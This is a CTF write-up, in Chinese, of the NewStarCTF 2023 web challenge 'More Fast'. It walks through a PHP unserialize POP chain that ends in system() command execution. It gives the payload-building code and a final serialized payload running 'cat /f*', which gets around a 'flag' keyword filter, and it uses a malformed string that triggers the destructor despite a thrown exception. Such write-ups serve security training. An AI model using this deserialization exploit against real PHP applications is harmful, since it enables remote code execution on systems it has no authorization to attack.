NewStarCTF 2023 WEEK4|WEB More Fast
题目
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55
我们最终要利用
web中的
($this->func)($this->var);
然后找触发evil()的地方然后再往上一直找就可以了
简单的pop链
Web(evil())->Pwn(__invoke())->Reverse(__get($var))->Crypto(__toString())->Start
<?php
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __construct()
{
$this->obj = new web();
}
}
class Reverse{
public $func;
public function __construct()
{
$this->func = new Pwn();
}
}
class Web{
public $func='system';
public $var='ls';
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __construct()
{
$this->obj = new Reverse();
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = new Start();
$a->errMsg=new Crypto();
echo serialize($a);
//O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:2:"ls";}}}}}
但是题目最后有一个抛出异常
它会导致最后的引线Start的__destruct()不能被触发
但是我们有其他办法
当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。
- 改掉属性的个数
- 删掉结尾的
}
我们这里删掉结尾结尾的}
即可
fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}
//过滤了flag我们用f*即可